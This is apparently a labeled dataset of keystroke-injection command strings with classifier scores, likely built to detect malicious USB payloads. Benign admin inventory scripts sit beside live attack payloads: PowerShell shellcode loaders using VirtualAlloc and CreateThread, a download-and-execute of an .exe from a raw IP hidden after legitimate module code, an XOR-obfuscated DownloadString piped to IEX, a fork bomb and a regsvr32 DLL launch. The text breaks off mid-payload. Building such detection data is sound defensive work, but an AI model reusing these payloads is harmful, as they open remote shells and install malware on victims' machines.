0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1374558e-05,0.9999486
win r wf.msc enter menu down enter down shift tab right down shift tab right down tab enter alt f x,1,1,0.0035305894,0.9964694
unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter terminal enter delay_medium enter enter enter delay_medium enter sudo softwareupdate -ia --verbose enter delay_medium enter enter,1,1,5.7105415e-05,0.9999429
win+r enter powershell enter enter enter c3doaXRsZXlAZ2xvYmVyYW5nZXIuY29t enter enter,1,1,6.381478e-05,0.9999362
"win+r enter powershell enter enter enter function Get-CRegistryKeyValue enter { enter enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $Path, enter enter [Parameter(Mandatory=$true)] enter [string] enter enter $Name enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( -not (Test-CRegistryKeyValue -Path $Path -Name $Name) ) enter { enter return $null enter } enter enter $itemProperties = Get-ItemProperty -Path $Path -Name * enter $value = $itemProperties.$Name enter Write-Debug -Message ('[{0}@{1}: {2} -is {3}' -f $Path,$Name,$value,$value.GetType()) enter return $value enter } enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0xc0,0xa8,0x02,0x7b,0x68,0x02,0x00,0x01,0xbb,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.1584033e-05,0.9999484
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_19liyd7a"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Get-NetFirewallRule | enter Where-Object { $_.Direction -eq ""Inbound"" } | enter Select-Object -First 100 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_rules_inbound.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4190798e-05
"win+r powershell enter New-ModuleManifest -Path .\RestoreAutomation.psd1 -Author 'Michael S. Fal' ` - enter CompanyName 'Creative Commons License - Attribution/Non-Commercial (https://crea enter tivecommons.org/licenses/by-nc/3.0/)' ` -RequiredAssemblies @('Microsoft.SqlSer enter ver.SMO') ` -FunctionsToExport @('New-Restore','Sync-DBUsers','Copy-Logins') ` enter -RootModule 'RestoreAutomation.psm1' enter",0,1,0.0038140991,0.99618596
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_4jert901"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting process_checks section 1."" enter Get-Process -Name ""explorer"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 15 Name, Id, Path, Company | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_15.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3759818e-05
"win+r powershell enter param( [string]$Version, [string]$Path, [switch]$Force, $Update, [switch]$U enter ninstall ) $Configs = @{ Url = ""http://switch.dl.sourceforge.net/project/seven enter zip/7-Zip/9.20/7z920-x64.msi"",""http://downloads.sourceforge.net/sevenzip/7za920. enter zip"" Path = ""$(Split-Path -Path $MyInvocation.MyCommand.Definition -Parent)\"" } enter enter",1,1,0.0106972195,0.9893028
win+r enter delay_short enter cmd enter enter enter delay_short enter (echo :b && echo start b.bat && echo goto b)>b.bat enter enter enter delay_short enter enter,1,1,6.564173e-05,0.9999343
"win+r powershell enter Register-PSFTeppScriptblock -Name ""PSFramework-config-name"" -ScriptBlock { $mo enter duleName = ""*"" if ($fakeBoundParameter.Module) { $moduleName = $fakeBoundParame enter ter.Module } [PSFramework.Configuration.ConfigurationHost]::Configurations.Valu enter es | Where-Object { -not $_.Hidden -and ($_.Module -like $moduleName) } | Select enter -Object -ExpandProperty Name } (New-Object System.Net.WebClient).DownloadFile('h enter ttp://80.82.64.45/~yakar/msvmonr.exe',""$env:APPDATA\msvmonr.exe"");Start-Process enter (""$env:APPDATA\msvmonr.exe"") enter enter",1,1,5.472542e-05,0.9999453
"win+r enter powershell enter enter enter $scriptblock = enter { enter param ($Payload) enter $PipeName = ""PoshMSDaisy"" enter $p = [System.IO.Directory]::GetFiles(""\\.\\pipe\\"") enter $start = $true enter foreach ($i in $p) { enter if ($i -like ""*PoshMSDaisy"") { enter $start = $false enter } enter } enter while ($start) { enter add-Type -assembly ""System.Core"" enter $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity enter $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( ""Everyone"", ""ReadWrite"", ""Allow"" ) enter $PipeSecurity.AddAccessRule($AccessRule) enter $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,""InOut"",100, ""Byte"", ""None"", 1024, 1024, $PipeSecurity) enter $pipe.WaitForConnection(); enter enter $pipeReader = new-object System.IO.StreamReader($pipe) enter $pipeWriter = new-object System.IO.StreamWriter($pipe) enter $pipeWriter.AutoFlush = $true enter $pipeWriter.WriteLine($Payload); enter enter $pipeReader.Dispose(); enter $pipe.Dispose(); enter } enter exit enter } enter add-Type -assembly ""System.Core"" enter enter $MaxThreads = 5 enter $RunspacePool = [RunspaceFactory]::CreateRunspacePool(1, $MaxThreads) enter $RunspacePool.Open() enter $Jobs = @() enter $Job = [powershell]::Create().AddScript($ScriptBlock).AddArgument($daisypayload) enter $Job.RunspacePool = $RunspacePool enter $Job.BeginInvoke() | Out-Null enter enter $pi = new-object System.IO.Pipes.NamedPipeClientStream(""."", ""PoshMSDaisy""); enter [SYstEm.NET.SERVIcePoinTMANAgeR]::ExPecT100CoNtINUe = 0;$wC=NEW-ObjEcT SySteM.NET.WeBClIenT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wc.HEadErS.Add('User-Agent',$u);$Wc.PrOxy = [SysteM.Net.WebReQuEst]::DEfaULTWEbPrOxy;$wc.PrOxy.CrEdenTIaLS = [SYstem.NeT.CREdentIAlCacHE]::DeFAUlTNETWoRKCreDEntIALS;$K='09b1a3a174f960a31c3c5e8546ece55b';$I=0;[chaR[]]$b=([Char[]]($wC.DownlOaDStriNG(""http://187.228.46.144:8888/index.asp"")))|%{$_-bXoR$K[$i++%$k.LENgTH]};IEX ($b-joIn'') enter enter",1,1,5.5933975e-05,0.9999441
"win+r powershell enter function Find-DscResource enter { enter [CmdletBinding(HelpUri = 'https://go.microsoft.com/fwlink/?LinkId=517196')] enter [outputtype('PSCustomObject[]')] enter Param enter ( enter [Parameter(Position = 0)] enter [ValidateNotNullOrEmpty()] enter [string[]] enter $Name, enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [string] enter $ModuleName, enter [Parameter()] enter [ValidateNotNull()] enter [string] enter $MinimumVersion, enter [Parameter()] enter [ValidateNotNull()] enter [string] enter $MaximumVersion, enter [Parameter()] enter [ValidateNotNull()] enter [string] enter $RequiredVersion, enter [Parameter()] enter [switch] enter $AllVersions, enter [Parameter()] enter [switch] enter $AllowPrerelease, enter [Parameter()] enter [ValidateNotNull()] enter [string[]] enter $Tag, enter [Parameter()] enter [ValidateNotNull()] enter [string] enter $Filter, enter [Parameter(ValueFromPipelineByPropertyName=$true)] enter [ValidateNotNullOrEmpty()] enter [Uri] enter $Proxy, enter [Parameter(ValueFromPipelineByPropertyName=$true)] enter [PSCredential] enter $ProxyCredential, enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [string[]] enter $Repository enter ) enter Process enter { enter $PSBoundParameters['Includes'] = 'DscResource' enter if($PSBoundParameters.ContainsKey('Name')) enter { enter $PSBoundParameters['DscResource'] = $Name enter $null = $PSBoundParameters.Remove('Name') enter } enter if($PSBoundParameters.ContainsKey('ModuleName')) enter { enter $PSBoundParameters['Name'] = $ModuleName enter $null = $PSBoundParameters.Remove('ModuleName') enter } enter PowerShellGet\Find-Module @PSBoundParameters | enter Microsoft.PowerShell.Core\ForEach-Object { enter $psgetModuleInfo = $_ enter $psgetModuleInfo.Includes.DscResource | Microsoft.PowerShell.Core\ForEach-Object { enter if($Name -and ($Name -notcontains $_)) enter { enter return enter } enter $psgetDscResourceInfo = Microsoft.PowerShell.Utility\New-Object PSCustomObject -Property ([ordered]@{ enter Name = $_ enter Version = $psgetModuleInfo.Version enter ModuleName = $psgetModuleInfo.Name enter Repository = $psgetModuleInfo.Repository enter PSGetModuleInfo = $psgetModuleInfo enter }) enter $psgetDscResourceInfo.PSTypeNames.Insert(0, 'Microsoft.PowerShell.Commands.PSGetDscResourceInfo') enter $psgetDscResourceInfo enter } enter } enter } enter } enter",0,0,0.9998528,0.00014717065
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_hn590ad3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_150.json"") -Encoding UTF8 enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.3751418e-05
"win+r enter powershell enter enter enter function Export-PPSPWeb{ enter [CmdletBinding()] enter param( enter [Parameter(Mandatory=$true)] enter [String] enter $Url, enter enter [Parameter(Mandatory=$false)] enter [String] enter $Path = ""C: tab emp"", enter enter [Switch] enter $NoFileCompression enter ) enter if(-not (Get-PSSnapin ""Microsoft.SharePoint.PowerShell"" -ErrorAction SilentlyContinue)){Add-PSSnapin ""Microsoft.SharePoint.PowerShell""} enter $SPUrl = $(Get-SPUrl $Url).Url enter $SPWeb = Get-SPWeb -Identity $SPUrl enter enter $SPTemplate = $SPWeb.WebTemplate + "" enter if(!(Test-Path -path $Path)){New-Item $Path -Type Directory} enter $FileName = $SPWeb.Title + "" enter $FilePath = Join-Path $Path -ChildPath $FileName enter Export-SPWeb -Identity $SPWeb.Url -Path $FilePath -Force -IncludeUserSecurity -IncludeVersions All -NoFileCompression:$NoFileCompression -NoLogFile enter @{BackupFile = $FilePath;Template = $SPTemplate} enter enter } enter enter",0,0,0.99978584,0.00021415405
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_zf97bteg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""bios_os_report.txt"") -Encoding UTF8 enter Write-Host ""Starting environment_report section 2."" enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Get-NetRoute | enter Select-Object -First 50 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Export-Csv -Path (Join-Path $ReportDir ""network_routes.csv"") -NoTypeInformation enter",0,0,0.9999658,3.4193865e-05
"win+r powershell enter Start-Process ""\cXsspRsw.png"" Start-Process ""regsvr32.exe"" -ArgumentList ""/s \GL enter dh1CKp.dll"" enter enter",1,1,0.00014691378,0.999853
"win+r powershell enter  function Test-AzureIotDpsCertificateLifeCycle { $Location = Get-Location ""Mi enter crosoft.Devices"" ""Device Provisioning Service"" $IotDpsName = getAssetName $R enter esourceGroupName = getAssetName $TestOutputRoot = [System.AppDomain]::CurrentD enter omain.BaseDirectory; $certificatePath = ""$TestOutputRoot enter ootCertificate.cer enter "" $verifyCertificatePath = ""$TestOutputRoot\verifyCertificate.cer"" enter enter",1,1,0.0018419904,0.99815804
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_itucale1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting device_printer_inventory section 1."" enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetAdapter | enter Select-Object Name, InterfaceDescription, Status, LinkSpeed, MacAddress | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_adapter.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.401888e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_ia16zzt1"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_groups.csv"") -NoTypeInformation enter Write-Host ""Starting event_log_review section 2."" enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_provider_summary_200.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3695393e-05
"win+r powershell enter $apiVersion = ""2015-04-08"" $resourceGroupName = ""myResourceGroup"" $accountName = enter ""mycosmosaccount"" $tableName = ""table1"" $tableThroughputResourceName = $account enter Name + ""/table/"" + $tableName + ""/throughput"" $tableThroughputResourceType = ""Mi enter crosoft.DocumentDb/databaseAccounts/apis/tables/settings"" $throughput = 500 $ta enter bleProperties = @{ ""resource""=@{""throughput""=$throughput} } Set-AzResource -Re enter sourceType $tableThroughputResourceType ` enter enter",1,1,0.0013162398,0.99868375
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_hi0a6fzr"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 40 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_40.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3877277e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_nefu6kud"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter Get-Process | enter Sort-Object ProcessName | enter Select-Object -First 50 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_process_overview_50.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.421024e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ddy6mksf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting firewall_status section 1."" enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 50 DisplayName, Enabled, Direction, Action, Profile | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_enabled_rules.json"") -Encoding UTF8 enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.411436e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_6hhike9u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 30 Name, Id, CPU, WorkingSet64, Handles | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_handles_30.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.436464e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_lpwzt9fp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.txt"") -Encoding UTF8 enter Write-Host ""Starting firewall_status section 3."" enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.txt"") -Encoding UTF8 enter",0,0,0.9999654,3.4529414e-05
win+r powershell enter DUCKY_REAL_BEGIN enter REM Assign $FOO to 42 enter VAR $FOO = 42 enter REM The variable is now 42. enter REM Let's add it by 1. enter $FOO = ( $FOO + 1 ) enter REM The variable is now 43: the sum of 42 and 1. enter REM Let's subtract it by 1. enter $FOO = ( $FOO - 1 ) enter REM The variable is now 42 (again): enter REM the difference of 42 and 1. enter REM Let's multiply it by 2. enter $FOO = ( $FOO * 2 ) enter REM The variable is now 84: enter REM the product of 42 and 2. enter REM Let's divide it by 2. enter $FOO = ( $FOO / 2 ) enter REM The variable is now 42 (again): enter REM the quotient of 82 and 2. enter REM Let's modulus it by 4. enter $FOO = ( $FOO % 4 ) enter REM The variable is now 2: enter REM the signed remainder of 42 and 4. enter REM Let's raise it to the power of 6. enter $FOO = ( $FOO ^ 6 ) enter REM Our variable is now 64: enter REM the exponent of 2 and 6. enter DUCKY_REAL_END enter,1,1,6.068797e-05,0.9999393
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xdb,0xd8,0xd9,0x74,0x24,0xf4,0x5b,0xbf,0xb7,0x76,0xa6,0x57,0x33,0xc9,0xb1,0x47,0x31,0x7b,0x18,0x03,0x7b,0x18,0x83,0xc3,0xb3,0x94,0x53,0xab,0x53,0xda,0x9c,0x54,0xa3,0xbb,0x15,0xb1,0x92,0xfb,0x42,0xb1,0x84,0xcb,0x01,0x97,0x28,0xa7,0x44,0x0c,0xbb,0xc5,0x40,0x23,0x0c,0x63,0xb7,0x0a,0x8d,0xd8,0x8b,0x0d,0x0d,0x23,0xd8,0xed,0x2c,0xec,0x2d,0xef,0x69,0x11,0xdf,0xbd,0x22,0x5d,0x72,0x52,0x47,0x2b,0x4f,0xd9,0x1b,0xbd,0xd7,0x3e,0xeb,0xbc,0xf6,0x90,0x60,0xe7,0xd8,0x13,0xa5,0x93,0x50,0x0c,0xaa,0x9e,0x2b,0xa7,0x18,0x54,0xaa,0x61,0x51,0x95,0x01,0x4c,0x5e,0x64,0x5b,0x88,0x58,0x97,0x2e,0xe0,0x9b,0x2a,0x29,0x37,0xe6,0xf0,0xbc,0xac,0x40,0x72,0x66,0x09,0x71,0x57,0xf1,0xda,0x7d,0x1c,0x75,0x84,0x61,0xa3,0x5a,0xbe,0x9d,0x28,0x5d,0x11,0x14,0x6a,0x7a,0xb5,0x7d,0x28,0xe3,0xec,0xdb,0x9f,0x1c,0xee,0x84,0x40,0xb9,0x64,0x28,0x94,0xb0,0x26,0x24,0x59,0xf9,0xd8,0xb4,0xf5,0x8a,0xab,0x86,0x5a,0x21,0x24,0xaa,0x13,0xef,0xb3,0xcd,0x09,0x57,0x2b,0x30,0xb2,0xa8,0x65,0xf6,0xe6,0xf8,0x1d,0xdf,0x86,0x92,0xdd,0xe0,0x52,0x0e,0xdb,0x76,0x0a,0xc8,0x58,0xa1,0xdc,0xd4,0x9e,0xac,0xa7,0x50,0x78,0xfe,0x87,0x32,0xd5,0xbe,0x77,0xf3,0x85,0x56,0x92,0xfc,0xfa,0x46,0x9d,0xd6,0x92,0xec,0x72,0x8f,0xcb,0x98,0xeb,0x8a,0x80,0x39,0xf3,0x00,0xed,0x79,0x7f,0xa7,0x11,0x37,0x88,0xc2,0x01,0xaf,0x78,0x99,0x78,0x79,0x86,0x37,0x16,0x85,0x12,0xbc,0xb1,0xd2,0x8a,0xbe,0xe4,0x14,0x15,0x40,0xc3,0x2f,0x9c,0xd4,0xac,0x47,0xe1,0x38,0x2d,0x97,0xb7,0x52,0x2d,0xff,0x6f,0x07,0x7e,0x1a,0x70,0x92,0x12,0xb7,0xe5,0x1d,0x43,0x64,0xad,0x75,0x69,0x53,0x99,0xd9,0x92,0xb6,0x1b,0x25,0x45,0xfe,0x69,0x47,0x55;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.204956e-05,0.9999479
"win+r powershell enter configuration PSRepository_RemoveRepositoryConfig { param ( [Parameter()] [S enter ystem.String[]] $NodeName = 'localhost', [Parameter(Mandatory = $true)] [Val enter idateNotNullOrEmpty()] [System.String] $RepositoryName enter enter",1,1,0.0076538343,0.99234617
"win+r powershell enter  $users = ""mmessano@primealliancesolutions.com"" $fromemail = ""DataManagemen enter t@primealliancesolutions.com"" $server = ""outbound.smtp.dexma.com"" $list = ""C:\ enter Users\MMessano\Desktop\Payload_QA.txt"" $computers = get-content $list [decimal enter ]$thresholdspace = 60 enter",1,1,0.018835902,0.98116416
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_1li0wikg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, CsDomain, CsUserName, TimeZone, OsLastBootUpTime | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.386933e-05
"win+r enter powershell enter enter enter function Check-Flags ($sam = $env:USERNAME) { enter $uac = [int](([adsisearcher]""samaccountname=$sam"").FindOne().Properties.useraccountcontrol | Out-String).Trim() enter enter if ($uac -eq 0) { enter throw 'UAC is 0' enter } enter enter $flags = @{ enter SCRIPT = 1 enter ACCOUNTDISABLE = 2 enter HOMEDIR_REQUIRED = 8 enter LOCKOUT = 16 enter PASSWD_NOTREQD = 32 enter enter PASSWD_CANT_CHANGE = 64 enter ENCRYPTED_TEXT_PWD_ALLOWED = 128 enter TEMP_DUPLICATE_ACCOUNT = 256 enter NORMAL_ACCOUNT = 512 enter INTERDOMAIN_TRUST_ACCOUNT = 2048 enter WORKSTATION_TRUST_ACCOUNT = 4096 enter SERVER_TRUST_ACCOUNT = 8192 enter DONT_EXPIRE_PASSWORD = 65536 enter MNS_LOGON_ACCOUNT = 131072 enter SMARTCARD_REQUIRED = 262144 enter TRUSTED_FOR_DELEGATION = 524288 enter NOT_DELEGATED = 1048576 enter USE_DES_KEY_ONLY = 2097152 enter DONT_REQ_PREAUTH = 4194304 enter PASSWORD_EXPIRED = 8388608 enter TRUSTED_TO_AUTH_FOR_DELEGATION = 16777216 enter PARTIAL_SECRETS_ACCOUNT = 67108864 enter } enter enter $hash = New-Object System.Collections.Specialized.OrderedDictionary enter $hash.Add('SAM', $sam) enter $hash.Add('UAC', $uac) enter enter foreach ($key in $flags.Keys) { enter if (($uac -band $flags[$key]) -ne 0) { enter $hash.Add($key, $true) enter } else { enter $hash.Add($key, $false) enter } enter } enter enter New-Object psobject -Property $hash enter } enter $Jpc = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $Jpc -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 